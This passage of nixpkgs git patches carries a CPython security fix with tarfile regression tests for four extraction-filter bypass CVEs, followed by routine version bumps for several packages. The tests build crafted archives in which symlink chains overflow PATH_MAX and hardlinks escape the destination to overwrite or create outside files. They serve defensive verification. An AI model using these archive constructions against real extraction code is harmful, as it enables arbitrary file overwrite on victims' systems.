+-    def test_path_realpath(self):
++    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
++    def test_path_realpath(self, kwargs):
+         self.assertPathEqual(self.path.realpath)
+ 
++        self.assertPathEqual(partial(self.path.realpath, **kwargs))
++
+     def test_path_relpath(self):
+         self.assertPathEqual(self.path.relpath)
+ 
+diff --git a/Lib/test/test_tarfile.py b/Lib/test/test_tarfile.py
+index cf218a2bf14369..7055e1ed147a9e 100644
+--- a/Lib/test/test_tarfile.py
++++ b/Lib/test/test_tarfile.py
+@@ -2715,6 +2715,31 @@ def test_useful_error_message_when_modules_missing(self):
+             str(excinfo.exception),
+         )
+ 
++    @unittest.skipUnless(os_helper.can_symlink(), 'requires symlink support')
++    @unittest.skipUnless(hasattr(os, 'chmod'), "missing os.chmod")
++    @unittest.mock.patch('os.chmod')
++    def test_deferred_directory_attributes_update(self, mock_chmod):
++        # Regression test for gh-127987: setting attributes on arbitrary files
++        tempdir = os.path.join(TEMPDIR, 'test127987')
++        def mock_chmod_side_effect(path, mode, **kwargs):
++            target_path = os.path.realpath(path)
++            if os.path.commonpath([target_path, tempdir]) != tempdir:
++                raise Exception("should not try to chmod anything outside the destination", target_path)
++        mock_chmod.side_effect = mock_chmod_side_effect
++
++        outside_tree_dir = os.path.join(TEMPDIR, 'outside_tree_dir')
++        with ArchiveMaker() as arc:
++            arc.add('x', symlink_to='.')
++            arc.add('x', type=tarfile.DIRTYPE, mode='?rwsrwsrwt')
++            arc.add('x', symlink_to=outside_tree_dir)
++
++        os.makedirs(outside_tree_dir)
++        try:
++            arc.open().extractall(path=tempdir, filter='tar')
++        finally:
++            os_helper.rmtree(outside_tree_dir)
++            os_helper.rmtree(tempdir)
++
+ 
+ class CommandLineTest(unittest.TestCase):
+ 
+@@ -3275,6 +3300,10 @@ def check_files_present(self, directory):
+         got_paths = set(
+             p.relative_to(directory)
+             for p in pathlib.Path(directory).glob('**/*'))
++        if self.extraction_filter in (None, 'data'):
++            # The 'data' filter is expected to reject special files
++            for path in 'ustar/fifotype', 'ustar/blktype', 'ustar/chrtype':
++                got_paths.discard(pathlib.Path(path))
+         self.assertEqual(self.control_paths, got_paths)
+ 
+     @contextmanager
+@@ -3504,12 +3533,28 @@ def __exit__(self, *exc):
+         self.bio = None
+ 
+     def add(self, name, *, type=None, symlink_to=None, hardlink_to=None,
+-            mode=None, size=None, **kwargs):
+-        """Add a member to the test archive. Call within `with`."""
++            mode=None, size=None, content=None, **kwargs):
++        """Add a member to the test archive. Call within `with`.
++
++        Provides many shortcuts:
++        - default `type` is based on symlink_to, hardlink_to, and trailing `/`
++          in name (which is stripped)
++        - size & content defaults are based on each other
++        - content can be str or bytes
++        - mode should be textual ('-rwxrwxrwx')
++
++        (add more! this is unstable internal test-only API)
++        """
+         name = str(name)
+         tarinfo = tarfile.TarInfo(name).replace(**kwargs)
++        if content is not None:
++            if isinstance(content, str):
++                content = content.encode()
++            size = len(content)
+         if size is not None:
+             tarinfo.size = size
++            if content is None:
++                content = bytes(tarinfo.size)
+         if mode:
+             tarinfo.mode = _filemode_to_int(mode)
+         if symlink_to is not None:
+@@ -3523,7 +3568,7 @@ def add(self, name, *, type=None, symlink_to=None, hardlink_to=None,
+         if type is not None:
+             tarinfo.type = type
+         if tarinfo.isreg():
+-            fileobj = io.BytesIO(bytes(tarinfo.size))
++            fileobj = io.BytesIO(content)
+         else:
+             fileobj = None
+         self.tar_w.addfile(tarinfo, fileobj)
+@@ -3557,7 +3602,7 @@ class TestExtractionFilters(unittest.TestCase):
+     destdir = outerdir / 'dest'
+ 
+     @contextmanager
+-    def check_context(self, tar, filter):
++    def check_context(self, tar, filter, *, check_flag=True):
+         """Extracts `tar` to `self.destdir` and allows checking the result
+ 
+         If an error occurs, it must be checked using `expect_exception`
+@@ -3566,27 +3611,40 @@ def check_context(self, tar, filter):
+         except the destination directory itself and parent directories of
+         other files.
+         When checking directories, do so before their contents.
++
++        A file called 'flag' is made in outerdir (i.e. outside destdir)
++        before extraction; it should not be altered nor should its contents
++        be read/copied.
+         """
+         with os_helper.temp_dir(self.outerdir):
++            flag_path = self.outerdir / 'flag'
++            flag_path.write_text('capture me')
+             try:
+                 tar.extractall(self.destdir, filter=filter)
+             except Exception as exc:
+                 self.raised_exception = exc
++                self.reraise_exception = True
+                 self.expected_paths = set()
+             else:
+                 self.raised_exception = None
++                self.reraise_exception = False
+                 self.expected_paths = set(self.outerdir.glob('**/*'))
+                 self.expected_paths.discard(self.destdir)
++                self.expected_paths.discard(flag_path)
+             try:
+-                yield
++                yield self
+             finally:
+                 tar.close()
+-            if self.raised_exception:
++            if self.reraise_exception:
+                 raise self.raised_exception
+             self.assertEqual(self.expected_paths, set())
++            if check_flag:
++                self.assertEqual(flag_path.read_text(), 'capture me')
++            else:
++                assert filter == 'fully_trusted'
+ 
+     def expect_file(self, name, type=None, symlink_to=None, mode=None,
+-                    size=None):
++                    size=None, content=None):
+         """Check a single file. See check_context."""
+         if self.raised_exception:
+             raise self.raised_exception
+@@ -3605,26 +3663,45 @@ def expect_file(self, name, type=None, symlink_to=None, mode=None,
+             # The symlink might be the same (textually) as what we expect,
+             # but some systems change the link to an equivalent path, so
+             # we fall back to samefile().
+-            if expected != got:
+-                self.assertTrue(got.samefile(expected))
++            try:
++                if expected != got:
++                    self.assertTrue(got.samefile(expected))
++            except Exception as e:
++                # attach a note, so it's shown even if `samefile` fails
++                e.add_note(f'{expected=}, {got=}')
++                raise
+         elif type == tarfile.REGTYPE or type is None:
+             self.assertTrue(path.is_file())
+         elif type == tarfile.DIRTYPE:
+             self.assertTrue(path.is_dir())
+         elif type == tarfile.FIFOTYPE:
+             self.assertTrue(path.is_fifo())
++        elif type == tarfile.SYMTYPE:
++            self.assertTrue(path.is_symlink())
+         else:
+             raise NotImplementedError(type)
+         if size is not None:
+             self.assertEqual(path.stat().st_size, size)
++        if content is not None:
++            self.assertEqual(path.read_text(), content)
+         for parent in path.parents:
+             self.expected_paths.discard(parent)
+ 
++    def expect_any_tree(self, name):
++        """Check a directory; forget about its contents."""
++        tree_path = (self.destdir / name).resolve()
++        self.expect_file(tree_path, type=tarfile.DIRTYPE)
++        self.expected_paths = {
++            p for p in self.expected_paths
++            if tree_path not in p.parents
++        }
++
+     def expect_exception(self, exc_type, message_re='.'):
+         with self.assertRaisesRegex(exc_type, message_re):
+             if self.raised_exception is not None:
+                 raise self.raised_exception
+-        self.raised_exception = None
++        self.reraise_exception = False
++        return self.raised_exception
+ 
+     def test_benign_file(self):
+         with ArchiveMaker() as arc:
+@@ -3709,6 +3786,80 @@ def test_parent_symlink(self):
+             with self.check_context(arc.open(), 'data'):
+                 self.expect_file('parent/evil')
+ 
++    @symlink_test
++    @os_helper.skip_unless_symlink
++    def test_realpath_limit_attack(self):
++        # (CVE-2025-4517)
++
++        with ArchiveMaker() as arc:
++            # populate the symlinks and dirs that expand in os.path.realpath()
++            # The component length is chosen so that in common cases, the unexpanded
++            # path fits in PATH_MAX, but it overflows when the final symlink
++            # is expanded
++            steps = "abcdefghijklmnop"
++            if sys.platform == 'win32':
++                component = 'd' * 25
++            elif 'PC_PATH_MAX' in os.pathconf_names:
++                max_path_len = os.pathconf(self.outerdir.parent, "PC_PATH_MAX")
++                path_sep_len = 1
++                dest_len = len(str(self.destdir)) + path_sep_len
++                component_len = (max_path_len - dest_len) // (len(steps) + path_sep_len)
++                component = 'd' * component_len
++            else:
++                raise NotImplementedError("Need to guess component length for {sys.platform}")
++            path = ""
++            step_path = ""
++            for i in steps:
++                arc.add(os.path.join(path, component), type=tarfile.DIRTYPE,
++                        mode='drwxrwxrwx')
++                arc.add(os.path.join(path, i), symlink_to=component)
++                path = os.path.join(path, component)
++                step_path = os.path.join(step_path, i)
++            # create the final symlink that exceeds PATH_MAX and simply points
++            # to the top dir.
++            # this link will never be expanded by
++            # os.path.realpath(strict=False), nor anything after it.
++            linkpath = os.path.join(*steps, "l"*254)
++            parent_segments = [".."] * len(steps)
++            arc.add(linkpath, symlink_to=os.path.join(*parent_segments))
++            # make a symlink outside to keep the tar command happy
++            arc.add("escape", symlink_to=os.path.join(linkpath, ".."))
++            # use the symlinks above, that are not checked, to create a hardlink
++            # to a file outside of the destination path
++            arc.add("flaglink", hardlink_to=os.path.join("escape", "flag"))
++            # now that we have the hardlink we can overwrite the file
++            arc.add("flaglink", content='overwrite')
++            # we can also create new files as well!
++            arc.add("escape/newfile", content='new')
++
++        with (self.subTest('fully_trusted'),
++              self.check_context(arc.open(), filter='fully_trusted',
++                                 check_flag=False)):
++            if sys.platform == 'win32':
++                self.expect_exception((FileNotFoundError, FileExistsError))
++            elif self.raised_exception:
++                # Cannot symlink/hardlink: tarfile falls back to getmember()
++                self.expect_exception(KeyError)
++                # Otherwise, this block should never enter.
++            else:
++                self.expect_any_tree(component)
++                self.expect_file('flaglink', content='overwrite')
++                self.expect_file('../newfile', content='new')
++                self.expect_file('escape', type=tarfile.SYMTYPE)
++                self.expect_file('a', symlink_to=component)
++
++        for filter in 'tar', 'data':
++            with self.subTest(filter), self.check_context(arc.open(), filter=filter):
++                exc = self.expect_exception((OSError, KeyError))
++                if isinstance(exc, OSError):
++                    if sys.platform == 'win32':
++                        # 3: ERROR_PATH_NOT_FOUND
++                        # 5: ERROR_ACCESS_DENIED
++                        # 206: ERROR_FILENAME_EXCED_RANGE
++                        self.assertIn(exc.winerror, (3, 5, 206))
++                    else:
++                        self.assertEqual(exc.errno, errno.ENAMETOOLONG)
++
+     @symlink_test
+     def test_parent_symlink2(self):
+         # Test interplaying symlinks
+@@ -3931,8 +4082,8 @@ def test_chains(self):
+             arc.add('symlink2', symlink_to=os.path.join(
+                 'linkdir', 'hardlink2'))
+             arc.add('targetdir/target', size=3)
+-            arc.add('linkdir/hardlink', hardlink_to='targetdir/target')
+-            arc.add('linkdir/hardlink2', hardlink_to='linkdir/symlink')
++            arc.add('linkdir/hardlink', hardlink_to=os.path.join('targetdir', 'target'))
++            arc.add('linkdir/hardlink2', hardlink_to=os.path.join('linkdir', 'symlink'))
+ 
+         for filter in 'tar', 'data', 'fully_trusted':
+             with self.check_context(arc.open(), filter):
+@@ -3948,6 +4099,129 @@ def test_chains(self):
+                     self.expect_file('linkdir/symlink', size=3)
+                     self.expect_file('symlink2', size=3)
+ 
++    @symlink_test
++    def test_sneaky_hardlink_fallback(self):
++        # (CVE-2025-4330)
++        # Test that when hardlink extraction falls back to extracting members
++        # from the archive, the extracted member is (re-)filtered.
++        with ArchiveMaker() as arc:
++            # Create a directory structure so the c/escape symlink stays
++            # inside the path
++            arc.add("a/t/dummy")
++            # Create b/ directory
++            arc.add("b/")
++            # Point "c" to the bottom of the tree in "a"
++            arc.add("c", symlink_to=os.path.join("a", "t"))
++            # link to non-existant location under "a"
++            arc.add("c/escape", symlink_to=os.path.join("..", "..",
++                                                        "link_here"))
++            # Move "c" to point to "b" ("c/escape" no longer exists)
++            arc.add("c", symlink_to="b")
++            # Attempt to create a hard link to "c/escape". Since it doesn't
++            # exist it will attempt to extract "cescape" but at "boom".
++            arc.add("boom", hardlink_to=os.path.join("c", "escape"))
++
++        with self.check_context(arc.open(), 'data'):
++            if not os_helper.can_symlink():
++                # When 'c/escape' is extracted, 'c' is a regular
++                # directory, and 'c/escape' *would* point outside
++                # the destination if symlinks were allowed.
++                self.expect_exception(
++                    tarfile.LinkOutsideDestinationError)
++            elif sys.platform == "win32":
++                # On Windows, 'c/escape' points outside the destination
++                self.expect_exception(tarfile.LinkOutsideDestinationError)
++            else:
++                e = self.expect_exception(
++                    tarfile.LinkFallbackError,
++                    "link 'boom' would be extracted as a copy of "
++                    + "'c/escape', which was rejected")
++                self.assertIsInstance(e.__cause__,
++                                      tarfile.LinkOutsideDestinationError)
++        for filter in 'tar', 'fully_trusted':
++            with self.subTest(filter), self.check_context(arc.open(), filter):
++                if not os_helper.can_symlink():
++                    self.expect_file("a/t/dummy")
++                    self.expect_file("b/")
++                    self.expect_file("c/")
++                else:
++                    self.expect_file("a/t/dummy")
++                    self.expect_file("b/")
++                    self.expect_file("a/t/escape", symlink_to='../../link_here')
++                    self.expect_file("boom", symlink_to='../../link_here')
++                    self.expect_file("c", symlink_to='b')
++
++    @symlink_test
++    def test_exfiltration_via_symlink(self):
++        # (CVE-2025-4138)
++        # Test changing symlinks that result in a symlink pointing outside
++        # the extraction directory, unless prevented by 'data' filter's
++        # normalization.
++        with ArchiveMaker() as arc:
++            arc.add("escape", symlink_to=os.path.join('link', 'link', '..', '..', 'link-here'))
++            arc.add("link", symlink_to='./')
++
++        for filter in 'tar', 'data', 'fully_trusted':
++            with self.check_context(arc.open(), filter):
++                if os_helper.can_symlink():
++                    self.expect_file("link", symlink_to='./')
++                    if filter == 'data':
++                        self.expect_file("escape", symlink_to='link-here')
++                    else:
++                        self.expect_file("escape",
++                                         symlink_to='link/link/../../link-here')
++                else:
++                    # Nothing is extracted.
++                    pass
++
++    @symlink_test
++    def test_chmod_outside_dir(self):
++        # (CVE-2024-12718)
++        # Test that members used for delayed updates of directory metadata
++        # are (re-)filtered.
++        with ArchiveMaker() as arc:
++            # "pwn" is a veeeery innocent symlink:
++            arc.add("a/pwn", symlink_to='.')
++            # But now "pwn" is also a directory, so it's scheduled to have its
++            # metadata updated later:
++            arc.add("a/pwn/", mode='drwxrwxrwx')
++            # Oops, "pwn" is not so innocent any more:
++            arc.add("a/pwn", symlink_to='x/../')
++            # Newly created symlink points to the dest dir,
++            # so it's OK for the "data" filter.
++            arc.add('a/x', symlink_to=('../'))
++            # But now "pwn" points outside the dest dir
++
++        for filter in 'tar', 'data', 'fully_trusted':
++            with self.check_context(arc.open(), filter) as cc:
++                if not os_helper.can_symlink():
++                    self.expect_file("a/pwn/")
++                elif filter == 'data':
++                    self.expect_file("a/x", symlink_to='../')
++                    self.expect_file("a/pwn", symlink_to='.')
++                else:
++                    self.expect_file("a/x", symlink_to='../')
++                    self.expect_file("a/pwn", symlink_to='x/../')
++                if sys.platform != "win32":
++                    st_mode = cc.outerdir.stat().st_mode
++                    self.assertNotEqual(st_mode & 0o777, 0o777)
++
++    def test_link_fallback_normalizes(self):
++        # Make sure hardlink fallbacks work for non-normalized paths for all
++        # filters
++        with ArchiveMaker() as arc:
++            arc.add("dir/")
++            arc.add("dir/../afile")
++            arc.add("link1", hardlink_to='dir/../afile')
++            arc.add("link2", hardlink_to='dir/../dir/../afile')
++
++        for filter in 'tar', 'data', 'fully_trusted':
++            with self.check_context(arc.open(), filter) as cc:
++                self.expect_file("dir/")
++                self.expect_file("afile")
++                self.expect_file("link1")
++                self.expect_file("link2")
++
+     def test_modes(self):
+         # Test how file modes are extracted
+         # (Note that the modes are ignored on platforms without working chmod)
+@@ -4072,7 +4346,7 @@ def test_tar_filter(self):
+         # The 'tar' filter returns TarInfo objects with the same name/type.
+         # (It can also fail for particularly "evil" input, but we don't have
+         # that in the test archive.)
+-        with tarfile.TarFile.open(tarname) as tar:
++        with tarfile.TarFile.open(tarname, encoding="iso8859-1") as tar:
+             for tarinfo in tar.getmembers():
+                 try:
+                     filtered = tarfile.tar_filter(tarinfo, '')
+@@ -4084,7 +4358,7 @@ def test_tar_filter(self):
+     def test_data_filter(self):
+         # The 'data' filter either raises, or returns TarInfo with the same
+         # name/type.
+-        with tarfile.TarFile.open(tarname) as tar:
++        with tarfile.TarFile.open(tarname, encoding="iso8859-1") as tar:
+             for tarinfo in tar.getmembers():
+                 try:
+                     filtered = tarfile.data_filter(tarinfo, '')
+@@ -4242,13 +4516,13 @@ def valueerror_filter(tarinfo, path):
+         # If errorlevel is 0, errors affected by errorlevel are ignored
+ 
+         with self.check_context(arc.open(errorlevel=0), extracterror_filter):
+-            self.expect_file('file')
++            pass
+ 
+         with self.check_context(arc.open(errorlevel=0), filtererror_filter):
+-            self.expect_file('file')
++            pass
+ 
+         with self.check_context(arc.open(errorlevel=0), oserror_filter):
+-            self.expect_file('file')
++            pass
+ 
+         with self.check_context(arc.open(errorlevel=0), tarerror_filter):
+             self.expect_exception(tarfile.TarError)
+@@ -4259,7 +4533,7 @@ def valueerror_filter(tarinfo, path):
+         # If 1, all fatal errors are raised
+ 
+         with self.check_context(arc.open(errorlevel=1), extracterror_filter):
+-            self.expect_file('file')
++            pass
+ 
+         with self.check_context(arc.open(errorlevel=1), filtererror_filter):
+             self.expect_exception(tarfile.FilterError)
+diff --git a/Misc/NEWS.d/next/Security/2025-06-02-11-32-23.gh-issue-135034.RLGjbp.rst b/Misc/NEWS.d/next/Security/2025-06-02-11-32-23.gh-issue-135034.RLGjbp.rst
+new file mode 100644
+index 00000000000000..08a0087e203671
+--- /dev/null
++++ b/Misc/NEWS.d/next/Security/2025-06-02-11-32-23.gh-issue-135034.RLGjbp.rst
+@@ -0,0 +1,6 @@
++Fixes multiple issues that allowed ``tarfile`` extraction filters
++(``filter="data"`` and ``filter="tar"``) to be bypassed using crafted
++symlinks and hard links.
++
++Addresses :cve:`2024-12718`, :cve:`2025-4138`, :cve:`2025-4330`, and :cve:`2025-4517`.
++
diff --git a/pkgs/development/interpreters/python/cpython/default.nix b/pkgs/development/interpreters/python/cpython/default.nix
index 52b0a3ea4eb4..216c7d064fb5 100644
--- a/pkgs/development/interpreters/python/cpython/default.nix
+++ b/pkgs/development/interpreters/python/cpython/default.nix
@@ -339,6 +339,9 @@ stdenv.mkDerivation (finalAttrs: {
     ++ optionals (pythonAtLeast "3.13") [
       ./3.13/virtualenv-permissions.patch
     ]
+    ++ optionals (pythonAtLeast "3.14") [
+      ./3.14/CVE-2025-4517.patch
+    ]
     ++ optionals mimetypesSupport [
       # Make the mimetypes module refer to the right file
       ./mimetypes.patch

From dbddb76f50ff1ed587405ce518471bd940f12f5c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 26 May 2025 13:49:05 +0000
Subject: [PATCH 0781/4511] geteduroam: 0.10 -> 0.11

(cherry picked from commit 45b9af3adf4f65f8fc0f406cacfb7ecc3fa3c444)
---
 pkgs/by-name/ge/geteduroam/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ge/geteduroam/package.nix b/pkgs/by-name/ge/geteduroam/package.nix
index 626c641dc66a..38a34a0ef224 100644
--- a/pkgs/by-name/ge/geteduroam/package.nix
+++ b/pkgs/by-name/ge/geteduroam/package.nix
@@ -17,13 +17,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "geteduroam";
-  version = "0.10";
+  version = "0.11";
 
   src = fetchFromGitHub {
     owner = "geteduroam";
     repo = "linux-app";
     tag = finalAttrs.version;
-    hash = "sha256-Mtzt6i8vJ5M8T0vrAOxXhawlhCmCMEnDQz0Jo6uV88A=";
+    hash = "sha256-CbgQn6mf1125DYKBDId+BmFMcfdWNW2M4/iLoiELOAY=";
   };
 
   vendorHash = "sha256-b06wnqT88J7etNTFJ6nE9Uo0gOQOGvvs0vPNnJr6r4Q=";

From 8d850d72fc6f277a3c5e2e312c6343c847d63322 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 6 Jun 2025 09:45:08 +0000
Subject: [PATCH 0782/4511] geteduroam: 0.11 -> 0.12

(cherry picked from commit 27c294bd543bc9a0891d4b872c73f37b2ff297b7)
---
 pkgs/by-name/ge/geteduroam/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ge/geteduroam/package.nix b/pkgs/by-name/ge/geteduroam/package.nix
index 38a34a0ef224..fd4c0218b897 100644
--- a/pkgs/by-name/ge/geteduroam/package.nix
+++ b/pkgs/by-name/ge/geteduroam/package.nix
@@ -17,16 +17,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "geteduroam";
-  version = "0.11";
+  version = "0.12";
 
   src = fetchFromGitHub {
     owner = "geteduroam";
     repo = "linux-app";
     tag = finalAttrs.version;
-    hash = "sha256-CbgQn6mf1125DYKBDId+BmFMcfdWNW2M4/iLoiELOAY=";
+    hash = "sha256-+3mluLby3R0xVU9fIG+1B1A4yM1IfyUvw4wclwnV5s8=";
   };
 
-  vendorHash = "sha256-b06wnqT88J7etNTFJ6nE9Uo0gOQOGvvs0vPNnJr6r4Q=";
+  vendorHash = "sha256-l9hge1TS+7ix9/6LKWq+lTMjNM4/Lnw8gNrWB6hWCTk=";
 
   subPackages = [
     "cmd/geteduroam-gui"

From 7d6a8f68298bbd8ac0fa356bc2bc033d0aae61e2 Mon Sep 17 00:00:00 2001
From: Jared Biel <961717+jbiel@users.noreply.github.com>
Date: Sat, 7 Jun 2025 21:05:25 -0500
Subject: [PATCH 0783/4511] fwupd-efi: 1.6 -> 1.7

(cherry picked from commit b25e4397daf15a0790a033701edb6bcebe72a56d)
---
 pkgs/by-name/fw/fwupd-efi/package.nix | 21 ++++++++++++---------
 1 file changed, 12 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/fw/fwupd-efi/package.nix b/pkgs/by-name/fw/fwupd-efi/package.nix
index 51c99880c287..4bbde1a88689 100644
--- a/pkgs/by-name/fw/fwupd-efi/package.nix
+++ b/pkgs/by-name/fw/fwupd-efi/package.nix
@@ -1,7 +1,7 @@
 {
   lib,
   stdenv,
-  fetchurl,
+  fetchFromGitHub,
   pkg-config,
   meson,
   ninja,
@@ -10,13 +10,15 @@
   python3Packages,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "fwupd-efi";
-  version = "1.6";
+  version = "1.7";
 
-  src = fetchurl {
-    url = "https://github.com/fwupd/fwupd-efi/releases/download/${version}/fwupd-efi-${version}.tar.xz";
-    hash = "sha256-r9CAWirQgafK/y71vABM46AUe1OAFejsqWY0FxaxJg4=";
+  src = fetchFromGitHub {
+    owner = "fwupd";
+    repo = "${finalAttrs.pname}";
+    rev = "${finalAttrs.version}";
+    hash = "sha256-PcVqnnFrxedkhYgm+8EUF2I65R5gTXqbVrk69Pw1m1g=";
   };
 
   nativeBuildInputs = [
@@ -43,9 +45,10 @@ stdenv.mkDerivation rec {
     "-Defi-ldsdir=${gnu-efi}/lib"
     "-Defi_sbat_distro_id=nixos"
     "-Defi_sbat_distro_summary=NixOS"
-    "-Defi_sbat_distro_pkgname=${pname}"
-    "-Defi_sbat_distro_version=${version}"
+    "-Defi_sbat_distro_pkgname=${finalAttrs.pname}"
+    "-Defi_sbat_distro_version=${finalAttrs.version}"
     "-Defi_sbat_distro_url=https://search.nixos.org/packages?channel=unstable&show=fwupd-efi&from=0&size=50&sort=relevance&query=fwupd-efi"
+    "-Dgenpeimg=disabled"
   ];
 
   meta = with lib; {
@@ -54,4 +57,4 @@ stdenv.mkDerivation rec {
     license = licenses.lgpl21Plus;
     platforms = platforms.linux;
   };
-}
+})

From b9dead1e8b3bb1063675cbbe46123b9761f70639 Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Mon, 9 Jun 2025 05:04:29 +0200
Subject: [PATCH 0784/4511] fwupd-efi: avoid using pname

(cherry picked from commit 2c8348cc4abfa26f32eec690e6cf1ad2c0964e62)
---
 pkgs/by-name/fw/fwupd-efi/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/fw/fwupd-efi/package.nix b/pkgs/by-name/fw/fwupd-efi/package.nix
index 4bbde1a88689..8e6427d6fa39 100644
--- a/pkgs/by-name/fw/fwupd-efi/package.nix
+++ b/pkgs/by-name/fw/fwupd-efi/package.nix
@@ -16,7 +16,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchFromGitHub {
     owner = "fwupd";
-    repo = "${finalAttrs.pname}";
+    repo = "fwupd-efi";
     rev = "${finalAttrs.version}";
     hash = "sha256-PcVqnnFrxedkhYgm+8EUF2I65R5gTXqbVrk69Pw1m1g=";
   };

From 190b278276aa02646d20713ec589df80d21e2c36 Mon Sep 17 00:00:00 2001
From: Lorenz Leutgeb <lorenz@leutgeb.xyz>
Date: Mon, 2 Jun 2025 17:49:56 +0200
Subject: [PATCH 0785/4511] =?UTF-8?q?radicle-node:=201.1.0=20=E2=86=92=201?=
 =?UTF-8?q?.2.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 66d53b3e782e1b6c406fed9c7a4bb232c6bd386c)
---
 ...5b5b5ad715e2b812087947281f0add9aa05e.patch | 22 -------------------
 pkgs/by-name/ra/radicle-node/package.nix      | 12 ++++------
 2 files changed, 4 insertions(+), 30 deletions(-)
 delete mode 100644 pkgs/by-name/ra/radicle-node/61865b5b5ad715e2b812087947281f0add9aa05e.patch

diff --git a/pkgs/by-name/ra/radicle-node/61865b5b5ad715e2b812087947281f0add9aa05e.patch b/pkgs/by-name/ra/radicle-node/61865b5b5ad715e2b812087947281f0add9aa05e.patch
deleted file mode 100644
index 742ac55a7f54..000000000000
--- a/pkgs/by-name/ra/radicle-node/61865b5b5ad715e2b812087947281f0add9aa05e.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-commit 61865b5b5ad715e2b812087947281f0add9aa05e
-Author: Fintan Halpenny <fintan.halpenny@gmail.com>
-Date:   2024-11-19 14:38:38 +0100
-
-    cob: fix documentation
-    
-    `no_run` will compile but not run the code. Use `ignore` instead, and also added
-    `rust` for syntax highlighting.
-
-diff --git a/radicle-cob/src/backend/git/stable.rs b/radicle-cob/src/backend/git/stable.rs
-index 0d8ea27b..ef18ae55 100644
---- a/radicle-cob/src/backend/git/stable.rs
-+++ b/radicle-cob/src/backend/git/stable.rs
-@@ -53,7 +53,7 @@ pub fn read_timestamp() -> i64 {
- ///
- /// # Usage
- ///
--/// ```no_run
-+/// ```rust, ignore
- /// let oid1 = with_advanced_timestamp(|| cob.update("New revision OID"));
- /// let oid2 = with_advanced_timestamp(|| cob.update("Another revision OID"));
- /// ```
diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 22dab16a679e..1dd45c64f398 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -19,20 +19,16 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "radicle-node";
-  version = "1.1.0";
+  version = "1.2.0";
   env.RADICLE_VERSION = version;
 
   src = fetchgit {
     url = "https://seed.radicle.xyz/z3gqcJUoA1n9HaHKufZs5FCSGazv5.git";
-    rev = "refs/namespaces/z6MksFqXN3Yhqk8pTJdUGLwATkRfQvwZXPqR2qMEhbS9wzpT/refs/tags/v${version}";
-    hash = "sha256-M4oz9tWjI/eqV4Gz1b512MEmvsZ5u3R9y6P9VeeH9CA=";
+    rev = "refs/namespaces/z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM/refs/tags/v${version}";
+    hash = "sha256-RB8yDfttVTkZmk01ubLkwrwD6IYo3Ehe7bPosJzoQk4=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-SzwBQxTqQafHDtH8+OWkAMDnKh3AH0PeSMBWpHprQWM=";
-
-  patches = [
-    ./61865b5b5ad715e2b812087947281f0add9aa05e.patch
-  ];
+  cargoHash = "sha256-/6VlRwWtJfHf6tXD2HJUTbThwTYeZFTJqtaxclrm3+c=";
 
   nativeBuildInputs = [
     asciidoctor

From 539d5cb28d11a83d90712d8c29d0bf3790b5660a Mon Sep 17 00:00:00 2001
From: Lorenz Leutgeb <lorenz@leutgeb.xyz>
Date: Mon, 2 Jun 2025 19:13:07 +0200
Subject: [PATCH 0786/4511] radicle-node: Preserve Git commit hash and date

Co-authored-by: Defelo <mail@defelo.de>
Co-authored-by: Martin Joerg <martin.joerg@gmail.com>
(cherry picked from commit afa09e5e8525f6753fec6b9b45fd76b198edf235)
---
 pkgs/by-name/ra/radicle-node/package.nix | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 1dd45c64f398..9024e11bddde 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -25,7 +25,13 @@ rustPlatform.buildRustPackage rec {
   src = fetchgit {
     url = "https://seed.radicle.xyz/z3gqcJUoA1n9HaHKufZs5FCSGazv5.git";
     rev = "refs/namespaces/z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM/refs/tags/v${version}";
-    hash = "sha256-RB8yDfttVTkZmk01ubLkwrwD6IYo3Ehe7bPosJzoQk4=";
+    hash = "sha256-AWgLhL6GslE3r2FcZu2imV5ZtEKlUD+a4C5waRGO2lM=";
+    leaveDotGit = true;
+    postFetch = ''
+      git -C $out rev-parse HEAD > $out/.git_head
+      git -C $out log -1 --pretty=%ct HEAD > $out/.git_time
+      rm -rf $out/.git
+    '';
   };
   useFetchCargoVendor = true;
   cargoHash = "sha256-/6VlRwWtJfHf6tXD2HJUTbThwTYeZFTJqtaxclrm3+c=";
@@ -37,6 +43,11 @@ rustPlatform.buildRustPackage rec {
   ];
   nativeCheckInputs = [ git ];
 
+  preBuild = ''
+    export GIT_HEAD=$(<$src/.git_head)
+    export SOURCE_DATE_EPOCH=$(<$src/.git_time)
+  '';
+
   # tests regularly time out on aarch64
   doCheck = stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86;
 

From 2b3c6fae7f80643e8eb2956351e69f5b5c2ca7d8 Mon Sep 17 00:00:00 2001
From: Marie Ramlow <me@nycode.dev>
Date: Mon, 9 Jun 2025 09:23:39 +0000
